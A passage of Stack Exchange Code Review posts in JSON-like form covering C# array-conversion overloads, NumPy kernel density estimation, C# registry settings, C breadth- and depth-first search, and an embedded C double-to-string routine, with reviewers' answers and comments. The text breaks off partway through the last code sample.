assembly name="System.Core" #>\n<#@ import namespace="System.Linq" #>\n<#@ import namespace="System.Text" #>\n<#@ import namespace="System.Collections.Generic" #>\nusing System;\nusing static Sample.Core.Converter;\n\nnamespace Sample.Overloads\n{\n public static class ArrayConverter\n {\n<#\nfor(int i = 1; i < 10; i++)\n{\nvar dimensions = new String(',', i);\n#>\n public static TOutput[<#=dimensions#>] ConvertAll<TInput, TOutput>(TInput[<#=dimensions#>] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[<#=dimensions#>])ConvertArray(array, converter);\n }\n<#\n}\n#>\n }\n}\n</code></pre>\n<h3>Step #3</h3>\n<p>Execute the <code>tt</code> file and examine the generated code:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>using System;\nusing static Sample.Core.Converter;\n\nnamespace Sample.Overloads\n{\n public static class ArrayConverter\n {\n public static TOutput[,] ConvertAll<TInput, TOutput>(TInput[,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,])ConvertArray(array, converter);\n }\n public static TOutput[,,] ConvertAll<TInput, TOutput>(TInput[,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,])ConvertArray(array, converter);\n }\n public static TOutput[,,,] ConvertAll<TInput, TOutput>(TInput[,,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,,])ConvertArray(array, converter);\n }\n public static TOutput[,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,,,])ConvertArray(array, converter);\n }\n public static TOutput[,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,,,,])ConvertArray(array, converter);\n }\n public static TOutput[,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,,,,,])ConvertArray(array, converter);\n }\n public static TOutput[,,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,,,,,,])ConvertArray(array, converter);\n }\n public static TOutput[,,,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,,,,,,,])ConvertArray(array, converter);\n }\n public static TOutput[,,,,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,,,,] array, Converter<TInput, TOutput> converter)\n where TInput : unmanaged\n where TOutput : unmanaged\n {\n return (TOutput[,,,,,,,,,])ConvertArray(array, converter);\n }\n }\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T14:13:31.093",
"Id": "255466",
"ParentId": "255395",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255466",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T22:36:13.840",
"Id": "255395",
"Score": "1",
"Tags": [
"c#",
"array",
"generics",
"converting",
"lambda"
],
"Title": "ConvertAll Methods Implementation for Multidimensional Array in C# - follow-up"
}
|
255395
|
<p>I am trying to perform a certain numerical computation in Python with Numpy.</p>
<p>More specifically, I am doing a multivariate Kernel Density Estimation (KDE) in a Euclidean space of dimension <code>F</code> for objects with missing values. For each incomplete object of index "k", the kernels is no Gaussians, but a Gaussians in the subspace where <code>ev[k]</code> is <code>True</code> and a uniform distribution otherwise.</p>
<p>I actually do not simply want to evaluate the kernel density, but the gradient for the KDE function. The complete derivation is a bit more envolved, especially for the constants.</p>
<p>Here I only write down a minimal working example. The constants for example - which are scalars - would need complex calculation beforehand. They are there as stability weights or for normalizations.</p>
<pre><code>import numpy as np
# Given:
I = 100
O = 1000
F = 10
o = np.random.random((O,F)) # Euclideanv vectors that are kind of the means of the Gaussians
ev = np.random.choice(a=[False, True], size=(O,F)) # these represent evidence and make sure that we calculate within the respective subspace
x = np.random.random((I,F)) # positions where we want to evaulate the KDE
const1 = 1.3456
const2 = 2.3456
const3 = 3.3456
const4 = 4.3456
# My calculations:
# First we calcuate the differences between the x and o vectors
diff = o[np.newaxis, :, :] - x.reshape((-1, 1, x.shape[x.ndim - 1]))
# The following two lines might be accessible from cache:
# We calculate the squared Euclidean distance between the x and o vectors and multiply them with the respective evidence vecotrs and constants. The result is the exponents for the Gaussian kernels
nsh = np.einsum('iof,iof,of,->io', diff, diff, ev, 1 / const1)
# We calculate the Gaussian kernels and normalise them with the const2. The const3 is stability weight, to avoid overflows or underflows.
kv = const2 * np.exp(nsh + const3)
# :Might be accessible from cache
# Finally we add the kernels together and calculate the gradient:
result = np.einsum('io,iof,of->if', kv, diff, ev)
</code></pre>
<p>I was trying to optimize for speed using broadcasting in the first line <code>diff =</code> and einsum in the last line. However, as one can easily see, the first line produces a very large array <code>diff</code>. Is it possible to avoid the creation of this large array while improving the speed or at least keeping the current speed?</p>
<p>One idea would be to replace</p>
<pre><code>nsh = np.einsum('iof,iof,of,->io', diff, diff, ev, 1 / const1)
</code></pre>
<p>with</p>
<pre><code>X = x
Y = o
X_sqr = np.sum(X ** 2, axis=1)
Y_sqr = np.sum(Y ** 2, axis=1)
nsh = (X_sqr[:, np.newaxis] - 2.0 * X.dot(Y.T) + Y_sqr) / const1
</code></pre>
<p>which is much faster. However, it does not include <code>ev</code> yet, because I don't know how I have to include it, to get it right. And also it does not remove the need to create <code>diff</code>, because I still need it in the final line.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T23:07:33.180",
"Id": "503887",
"Score": "0",
"body": "keept? You probably mean keep the speed - but keep it while something else changes? If so, what?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T23:09:27.163",
"Id": "503888",
"Score": "1",
"body": "@Reinderien: I meant \"Is it possible to avoid the creation of this large array while improving the speed or at least keeping the current speed?\" Is this better to understand?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T23:12:20.337",
"Id": "503890",
"Score": "0",
"body": "@Reinderien: I want to at least keep the current speed or improve it. But in either case I would like to not have to create the large `diff` array."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T23:12:52.797",
"Id": "503891",
"Score": "0",
"body": "How much memory does it actually take up?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T23:13:42.910",
"Id": "503892",
"Score": "0",
"body": "@Reinderien: Enough to be out of memory at times. It depends on the datasets my algorithm faces. `I, O, F` are here only to make a minimal working example."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T11:39:54.357",
"Id": "503909",
"Score": "2",
"body": "Welcome to Code Review! To give you a good review, we need to know *what the code is intended to achieve* - \"a certain numerical calculation\" isn't helpful. Please add sufficient context to your question, including a [title that summarises the *purpose* of the code](//meta.codereview.stackexchange.com/q/2436). We want to know **why** much more than **how**. The more you tell us about [what your code is for](//meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:10:14.963",
"Id": "503919",
"Score": "0",
"body": "@TobySpeight: Ok, I added information on what I want to do. Honestly, I fear that people are going to want to help me even less now. Alternatively I can refer to the papers that I am implementing, but I cannot imagine one being willing to read papers for my code review. Please give feedback if that was helpfull and what I should do if that was not helpfull."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T17:25:24.577",
"Id": "503932",
"Score": "0",
"body": "Are you aware of [numba](https://numba.pydata.org/)? That one allows you to write it with an explicit loop **that is compiled** and achieves similar speeds as writing it externally with Fortran or C. Or do you want/have to stick with numpy?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T19:52:26.980",
"Id": "503941",
"Score": "0",
"body": "@mcocdawc: I am aware of numba, but did not consider it, because I have not worked with it and wanted to avoid the learning curve. (Also, I forgot.) But thanks of reminding me! Also, I wanted to improve on the logic first: For example using the idea I presented in my question, it is possible to avoid the 3D array altogether, which is a huge plus in both numpy and numba. Improving via compilation or additional hardware usually only yields linear improvements. To improve super-linearily (e.g. using 2D arrays instead of 3D is an improvement in complexity class) one needs to improve logically."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T05:32:17.107",
"Id": "503968",
"Score": "0",
"body": "It might help to look into the `scipy` library, which contains a [built-in for KDE estimation](https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.gaussian_kde.html#scipy.stats.gaussian_kde)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T15:42:28.460",
"Id": "504064",
"Score": "1",
"body": "@GZ0: It is not supporting what I am doing, see the evidence aspect."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T16:57:22.667",
"Id": "504072",
"Score": "0",
"body": "@TobySpeight , et. al: is there enough context now or is more still needed?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T19:26:51.777",
"Id": "504308",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ It's a bit of a niche, but I think the question is clear enough. The main problem is that the code is still a minimal working example and we simply don't deal well with those on Code Review. \" The complete derivation is a bit more envolved\" We've been bitten by this before, where a review is provided that's of little to no use to OP because the actual code does things differently."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-04T21:31:15.340",
"Id": "504409",
"Score": "0",
"body": "@Mast: Do you mant to see the full implementation? Or do you want to see the code with function calls (where the functions implementations are not provided)? What DO you deal with on Code Review? \"\"The complete derivation is a bit more envolved\" We've been bitten by this before.\" What should I provide? A link to the respective literature or the entire implementation? What do I need to do to get this right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T16:08:08.720",
"Id": "505682",
"Score": "0",
"body": "I'm sorry I haven't gotten back to you earlier. We do have a FAQ on this topic: [How to get the best value out of Code Review - Asking Questions](https://codereview.meta.stackexchange.com/q/2436/52915). There's also [Simon's Guide for posting a good question](https://codereview.meta.stackexchange.com/a/6429/52915)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T16:28:22.123",
"Id": "505687",
"Score": "0",
"body": "@Mast: Thank you! I went through it. I have rewritten the question a couple of times now and since it still doesn't seem to be what you are looking for: Could you give *concrete* constructive feedback? What is the point here that you think is important and has not been met by me?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T16:40:25.113",
"Id": "505690",
"Score": "0",
"body": "Code Review has a character limit of over 60k characters, yet your current code contains a minimum working example. Please post the real deal, the code you actually use, with enough context for us to understand what you're doing and what your gripes are with it. We don't need a full paper, although depending on what it is exactly what you're doing, it wouldn't be the worst of ideas."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T16:43:49.560",
"Id": "505691",
"Score": "0",
"body": "Your question is not in terrible shape, apart from the code most of it looks like a decent start. But if we review this, I'll bet you get to dismiss some of the remarks by stating your actual code does it differently or that you're not interested in some of the parts because the real code isn't hindered by it. We can't see that if you don't post it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T16:46:46.117",
"Id": "505692",
"Score": "0",
"body": "Feel free to point out which part you need specific review of, but the rest could be required as context."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T17:02:04.087",
"Id": "505693",
"Score": "0",
"body": "@Mast: My full code contains about 4-5 paper's worth of code. It's an entire research project / product. Besides that part are also proprietary. There is no way around abiding. Anyway, I will see what I can do."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T17:40:50.007",
"Id": "505701",
"Score": "0",
"body": "Possibly Code Review is not the proper place for you to get a review then. Perhaps a review by your academic peers under NDA is a better option."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-18T18:46:03.680",
"Id": "505703",
"Score": "0",
"body": "@Mast: I will think about it - maybe I have an idea how to present it. Thanks so far!"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "22",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T22:57:48.183",
"Id": "255396",
"Score": "1",
"Tags": [
"python",
"numpy"
],
"Title": "Multivariate Kernel Density Estimation for objects with missing values"
}
|
255396
|
<p>My code writes, reads, and removes program settings in the registry. I'm using Visual Studio 2019 and my target Framework is .NET Framework 4.8.</p>
<p>I'm looking for more elegant functions.
Is there error handling I missed in these functions?
How can I optimize the code?</p>
<p>I have the following functions at the moment:</p>
<pre><code>public static class Settings
{
public static void SaveSetting(string sCompanyName, string sAppName, string sSection, string sValueName, string sValue)
{
RegistryKey softKey = Registry.CurrentUser.OpenSubKey("Software", true);
RegistryKey compKey = softKey.CreateSubKey(sCompanyName);
RegistryKey appKey = compKey.CreateSubKey(sAppName);
RegistryKey secKey = appKey.CreateSubKey(sSection);
secKey.SetValue(sValueName, sValue);
}
public static string GetSetting(string sCompanyName, string sAppName, string sSection, string sValueName, string sDefault)
{
RegistryKey softKey = Registry.CurrentUser.OpenSubKey("Software", true);
RegistryKey compKey = softKey.CreateSubKey(sCompanyName);
RegistryKey appKey = compKey.CreateSubKey(sAppName);
RegistryKey secKey = appKey.CreateSubKey(sSection);
return (string)secKey.GetValue(sValueName, sDefault);
}
public static void DeleteSetting(string sCompanyName, string sAppName, string sSection, string sValueName)
{
RegistryKey softKey = Registry.CurrentUser.OpenSubKey("Software", true);
RegistryKey compKey = softKey.CreateSubKey(sCompanyName);
RegistryKey appKey = compKey.CreateSubKey(sAppName);
RegistryKey secKey = appKey.CreateSubKey(sSection);
if (secKey.GetValue(sValueName) != null)
{
secKey.DeleteValue(sValueName);
}
}
}
</code></pre>
|
[] |
[
{
"body": "<p>Quick remarks:</p>\n<ul>\n<li><p>When you're copy-pasting code, you should realize you're doing the wrong thing. The first four lines of each of your methods are exactly the same, and thus should become a method that returns a <code>RegistryKey</code>.</p>\n</li>\n<li><p>Do not needlessly abbreviate. <code>softKey</code>, <code>compKey</code>, <code>appKey</code> and <code>secKey</code> are all unclear.</p>\n</li>\n<li><p>Do not use Hungarian notation. Even if the type isn't clear from a parameter's name, your IDE will tell you what type it is.</p>\n</li>\n<li><p>Why doesn't <code>DeleteSetting</code> use <code>GetSetting</code> to retrieve the value?</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T08:50:02.143",
"Id": "503975",
"Score": "1",
"body": "Missed one (important?) thing. `RegistryKey` implements `IDisposable`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T10:18:48.367",
"Id": "503985",
"Score": "0",
"body": "@aepot Ah, didn't check that, but that's also very important, yes."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:38:08.317",
"Id": "255415",
"ParentId": "255400",
"Score": "3"
}
},
{
"body": "<p>I don't want to echo <a href=\"https://codereview.stackexchange.com/a/255415/224104\">BCdotWEB's observations</a>, they are all valid ones.</p>\n<p>Rather I would like to focus on the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registrykey\" rel=\"nofollow noreferrer\">RegisteryKey</a> API usage.</p>\n<h3><code>OpenSubKey</code></h3>\n<p>Let's take a look at the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registrykey.opensubkey#Microsoft_Win32_RegistryKey_OpenSubKey_System_String_System_Boolean_\" rel=\"nofollow noreferrer\">signature</a> of the method first:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public Microsoft.Win32.RegistryKey? OpenSubKey (string name, bool writable);\n</code></pre>\n<ul>\n<li>As you can see it may return a <code>RegisteryKey</code> or a <code>null</code>. So, it might make sense to check the result of this operation against <code>null</code> before you call any method on it to prevent <code>NullReferenceException</code>.</li>\n<li>The <code>name</code> parameter can work as a path as well. So, you could call <code>OpenSubKey</code> like this:</li>\n</ul>\n<pre class=\"lang-cs prettyprint-override\"><code>.OpenSubKey("Software\\\\Microsoft\\\\Windows", true);\n//OR\n.OpenSubKey(@"Software\\Microsoft\\Windows", true);\n</code></pre>\n<p>Now, let's look at the Exceptions:</p>\n<ul>\n<li><code>ArgumentNullException</code>: name is null.</li>\n<li><code>ObjectDisposedException</code>: The RegistryKey is closed (<a href=\"https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registrykey.close?view=dotnet-plat-ext-5.0\" rel=\"nofollow noreferrer\">closed</a> keys cannot be accessed).</li>\n<li><code>SecurityException</code>: The user does not have the permissions required to access the registry key in the specified mode.</li>\n</ul>\n<p>The first two cases are irrelevant in your solution. But the 3rd one is quite important. There is a chance that the given entry is <code>readonly</code> for the current user. So, it might make sense to prepare for this situation.</p>\n<p>I would also encourage you to check out the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.registrysecurity\" rel=\"nofollow noreferrer\">RegistrySecurity</a> and <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.registryrights\" rel=\"nofollow noreferrer\">RegistryRights</a> pages to learn how to grant access on demand.</p>\n<h3><code>CreateSubKey</code></h3>\n<p>Let's start with the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registrykey.createsubkey#Microsoft_Win32_RegistryKey_CreateSubKey_System_String_\" rel=\"nofollow noreferrer\">signature</a> again:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public Microsoft.Win32.RegistryKey CreateSubKey (string subkey);\n</code></pre>\n<p>Even though the signature does not indicate that the return value can be <code>null</code>, the remarks of the <em>Returns</em> section does:</p>\n<blockquote>\n<p>The newly created subkey, or null if the operation failed.</p>\n</blockquote>\n<p>Please also bear in mind the second part of this section:</p>\n<blockquote>\n<p>If a zero-length string is specified for subkey, the current RegistryKey object is returned.</p>\n</blockquote>\n<ul>\n<li>If someone calls your API by passing an empty string for example to the <code>sAppName</code> parameter then your <code>appKey</code> will point to the same entry as <code>compKey</code>. Your create/delete could cause harm in this case. So, always check users' inputs before you start using them.</li>\n<li>If someone calls your API by passing <code>null</code> for instance to the <code>sAppName</code> parameter then it will throw an <code>ArgumentNullException</code>. Yet again, check your params!</li>\n</ul>\n<p>You should also consider to catch and handle gracefully the following exceptions:</p>\n<ul>\n<li><code>SecurityException</code>: The user does not have the permissions required to create or open the registry key.</li>\n<li><code>UnauthorizedAccessException</code>: The RegistryKey cannot be written to; for example, it was not opened as a writable key , or the user does not have the necessary access rights.</li>\n</ul>\n<h3><code>GetValue</code></h3>\n<p>Yet again start with the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registrykey.getvalue#Microsoft_Win32_RegistryKey_GetValue_System_String_\" rel=\"nofollow noreferrer\">signature</a>:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public object GetValue (string name);\n\npublic object GetValue (string name, object defaultValue);\n</code></pre>\n<p>As you can see it returns with an <code>object</code>. (That's why you have cast it to <code>string</code>). Which might be okay in this particular case. But image a situation that your API gains popularity and consumers of your API want to use it to read/write other types as well not just strings. You have two options then:</p>\n<ol>\n<li>Introduce overloads (so one method group for each datatype)</li>\n<li>Utilize generics (so one method group with generic type parameter)</li>\n</ol>\n<p>In the latter case it might make sense to make use of the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registrykey.getvaluekind\" rel=\"nofollow noreferrer\">GetValueKind</a>, which returns a <a href=\"https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registryvaluekind\" rel=\"nofollow noreferrer\">RegistryValueKind</a> enum. Based on that value you can dynamically determine how to cast the retrieved value.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T08:04:47.500",
"Id": "255494",
"ParentId": "255400",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255494",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T01:34:59.593",
"Id": "255400",
"Score": "1",
"Tags": [
"c#"
],
"Title": "Store, retrieve and delete settings in C# Registry"
}
|
255400
|
<p>I searched the net for some bfs and dfs code but rarely found some as reference. I wrote this for an assignment, I am getting the results fine. I want to make my code more compact and remove unwanted stuff or need suggestions to make the code better. I used stack and queue data structures for the implementation</p>
<pre><code>#include <stdio.h>
#include<stdlib.h>
#include <stdbool.h>
#include <string.h>
int F=-1,R=-1;char q[10];
char v[10],check[10];int a[100][100];char stack[10];int top=-1;
char vertex;int pos[10];int s;char Dfsv[10]; int u=9;
int n=0;
int dequeue(){
if(F==-1)
{
printf("underflow\n");
}
else{
vertex=q[F];
printf("%c",vertex);
F++;
if(F<10)
{ return pos[F];}
else{ return -1;}
}
}
void insert(int j){
if(R==9)
{
printf("overflow\n");
}
else if(F==-1&&R==-1)
{ F++;R++;
check[j]='v';
vertex=v[j];
q[R]=vertex;
}
else{ if(check[j]!='v')
{ check[j]='v';R++;
vertex=v[j];pos[R]=j;
q[R]=vertex;}
}
}
void BFS(int s){
int k=s;
while(k!=-1)
{
for(int j=0;j<n;j++)
{
if(a[k][j]==1)
{
insert(j);
}
}
k=dequeue();
}
}
void PUSH(int j){
if(top==9)
{
printf("overflow\n");
}
else{ if(check[j]!='v')
{ check[j]='v';top++;
vertex=v[j];pos[top]=j;
stack[top]=vertex;
}
}}
int POP(){
if (top==-1)
{
printf("underflow\n");
}
else{ Dfsv[u]=stack[top];
top--;u--;
if(top!=-1)
{ return pos[top+1];}
else{ return -1;}
}
}
void DFS(int s){
int k=s;
while(k!=-1)
{
for(int j=0;j<n;j++)
{
if(a[k][j]==1)
{
PUSH(j);
}
}
k=POP();
}
}
void BDFST(){
printf("enter source number\n");
scanf("%d",&s );
vertex=v[s];insert(s);
printf("BFS: ");BFS(s);printf("\nDFS: ");
memset(check, 0, 10);
PUSH(s);
DFS(s);
for(int u=0;u<10;u++)
{
printf("%c",Dfsv[u] );
}
}
void print(int a[100][100],int n,char v[])
{ int j=0;
for(int i=0;i<n;i++)
{
for(j=0;j<n;j++)
{ printf("%c%c[%d][%d]: ",v[i],v[j],i,j);
printf("%d\t",a[i][j]);
}
printf("\n");
}
}
void main(){
int i=0,j=0;
printf("enter number of vertex\n");
scanf("%d",&n);
printf("enter vertex's\n");
scanf("%s",&v);
printf("enter the edges\n");
for( i=0;i<n;i++)
{ printf("enter 1 for edges of %c\n",v[i]);
for(j=0;j<n;j++)
{
printf("%c%c[%d][%d]: ",v[i],v[j],i,j);
scanf("%d",&a[i][j] );
printf("\n");
}
printf("\n");
}
print(a,n,v);
BDFST();
}
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>Welcome to the Code Review Community.</p>\n<h1>General Observations</h1>\n<p>The use of small functions is very good and makes the code more readable, but overall the readability can be improved.</p>\n<p>The code does seem to follow the concept of the single responsibility principle.</p>\n<p>I'm going to address the code in 2 phases, one is dealing with improving the use of C programming and the second is coding style in general.</p>\n<p>The use of structures to represent the queues and the stacks might have decreased the complexity of the code.</p>\n<p>For the future it might be good if you provided an example input and expected output.</p>\n<h1>C Programming Improvements</h1>\n<h2>Check for Warnings</h2>\n<p>When you initially compile with C use the -Wall compiler flag to list any warnings as well as any errors. In many cases the warnings can indicate possible bugs in the code.</p>\n<p>While this code compiles it does have the following warnings using the -Wall flag:</p>\n<pre><code>gcc -Wall dfsbfs.c\ndfsbfs.c:133:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]\n 133 | void main(){\n | ^~~~\ndfsbfs.c: In function ‘main’:\ndfsbfs.c:138:14: warning: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘char (*)[10]’ [-Wformat=]\n 138 | scanf("%s",&v);\n | ~^ ~~\n | | |\n | | char (*)[10]\n | char *\ndfsbfs.c: In function ‘dequeue’:\ndfsbfs.c:22:1: warning: control reaches end of non-void function [-Wreturn-type]\n 22 | }\n | ^\ndfsbfs.c: In function ‘POP’:\ndfsbfs.c:87:1: warning: control reaches end of non-void function [-Wreturn-type]\n 87 | }\n | ^\n</code></pre>\n<p>The warning about <code>control reaches end of non-void function</code> indicates that the code is missing a return statement if F == -1 in the function <code>dequeue()</code>.</p>\n<p>The warning about <code>main ()</code> indicates that this program is not following the C programming standards about the <code>main()</code> function which should always return an integer value indicating the success or failure of the program to the operating system.</p>\n<h2>Avoid Global Variables</h2>\n<p>It is very difficult to read, write, debug and maintain programs that use global variables. Global variables can be modified by any function within the program and therefore require each function to be examined before making changes in the code. In C and C++ global variables impact the namespace and they can cause linking errors if they are defined in multiple files. The <a href=\"https://stackoverflow.com/questions/484635/are-global-variables-bad\">answers in this stackoverflow question</a> provide a fuller explanation.</p>\n<h2>Magic Numbers</h2>\n<p>There are many Magic Numbers in the global declarations (-1, 10, 100 and 9), it might be better to create symbolic constants for them to make the code more readable and easier to maintain. These numbers may be used in many places and being able to change them by editing only one line makes maintenance easier.</p>\n<p>Numeric constants in code are sometimes referred to as <a href=\"https://en.wikipedia.org/wiki/Magic_number_(programming)\" rel=\"nofollow noreferrer\">Magic Numbers</a>, because there is no obvious meaning for them. There is a discussion of this on <a href=\"https://stackoverflow.com/questions/47882/what-is-a-magic-number-and-why-is-it-bad\">stackoverflow</a>.</p>\n<h1>Readability and Coding Style</h1>\n<h2>Code Consistency</h2>\n<p>The indentation of the code is inconsistent. This makes the code much harder to read and maintain. For instance it would be better if the function <code>dequeue()</code> looked something like this:</p>\n<pre><code>int dequeue(){\n if (F == -1)\n {\n printf("underflow\\n");\n }\n else{\n vertex = q[F];\n printf("%c", vertex);\n F++;\n if (F < 10)\n {\n return pos[F];\n }\n else\n {\n return -1;\n }\n }\n}\n</code></pre>\n<p>Some other inconsistencies are that variables are both upper and lower case characters and in most cases are single characters while in some other cases meaningful names. In the C programming language some common practices are that variable and function names are all lower case, and that variable and functions names with multiple words are <code>snake_case</code>. Symbolic constants, which are not used in this program are all upper case.</p>\n<h2>Horizontal and Vertical Spacing</h2>\n<p>In most programming languages it is common to improve readability by using horizontal spacing between operators and operands as shown above in the <code>if</code> statements and the <code>printf</code> statements.</p>\n<p>The code might be slightly more readable of the open braces <code>{</code> lined up with the closing braces '}', however, this would be determined by local coding standards.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-05T11:52:56.207",
"Id": "504472",
"Score": "0",
"body": "Thank you for the tips, I will keep them in mind while coding next time."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:59:02.383",
"Id": "255417",
"ParentId": "255402",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255417",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T02:34:40.090",
"Id": "255402",
"Score": "3",
"Tags": [
"c",
"array"
],
"Title": "Breadth-first and depth-first searches"
}
|
255402
|
<p>Faced with converting floating-point values from a sensor obtained to string on an embedded system to transmit over UART, I came up with the following <code>dbl2str()</code> to handle either <code>float</code> or <code>double</code> input. The accuracy of the last digit in the fractional part wasn't important as the floating point-values were from a temperature sensor on an MSP432. The intent was to avoid loading <code>stdio.h</code> and <code>math.h</code>.</p>
<p>The double value, an adequately sized buffer and then precision for the fractional-part are parameters to the function:</p>
<pre class="lang-c prettyprint-override"><code>/**
* convert double d to string with fractional part
* limited to prec digits. s must have adequate
* storage to hold the converted value.
*/
char *dbl2str (double d, char *s, int prec);
</code></pre>
<p>The approach is:</p>
<ul>
<li>Handle <code>0.0</code> case where integer-part is <code>'0'</code> and pad fractional part to <code>prec</code> <code>'0'</code>s, return at that point.</li>
<li>Save <code>sign</code> flag (<code>1</code>-negative, <code>0</code>-posititve), set padding variable <code>zeros</code> equal to <code>prec</code>, change sign of floating-point value to positive if negative.</li>
<li>Nul-terminate temp string and fill from end with fractional-part conversion, subtracting <code>1</code> from <code>zeros</code> on each iteration, and after leaving conversion loop, pad to remaining <code>zeros</code>.</li>
<li>Add separator <code>'.'</code> and continue to fill temp string with integer-part conversion.</li>
<li>if <code>sign</code> add <code>'-'</code> to front of temp string.</li>
<li>copy temp string to buffer and return pointer to buffer.</li>
</ul>
<p>(<strong>note:</strong> the range of floating-point values is from roughly <code>-50.0</code> to <code>200.00</code> so <code>INF</code> was not protected against, nor was exhausting of the 32-byte buffer a consideration)</p>
<p>The code with test case is:</p>
<pre class="lang-c prettyprint-override"><code>#include <stdio.h>
#include <stdint.h>
#define FPMAXC 32
/**
* convert double d to string with fractional part
* limited to prec digits. s must have adequate
* storage to hold the converted value.
*/
char *dbl2str (double d, char *s, int prec)
{
if (d == 0) { /* handle zero case */
int i = 0;
*s = '0'; /* single '0' for int part */
s[1] = '.'; /* separator */
for (i = 2; i < 2 + prec; i++) /* pad fp to prec with '0' */
s[i] = '0';
s[i] = 0; /* nul-terminate */
return s;
}
char tmp[FPMAXC], *p = tmp + FPMAXC - 1; /* tmp buf, ptr to end */
int sign = d < 0 ? 1 : 0, /* set sign if negative */
mult = 1; /* multiplier for precision */
unsigned zeros = prec; /* padding zeros for fp */
uint64_t ip, fp; /* integer & fractional parts */
if (sign) /* work with positive value */
d = -d;
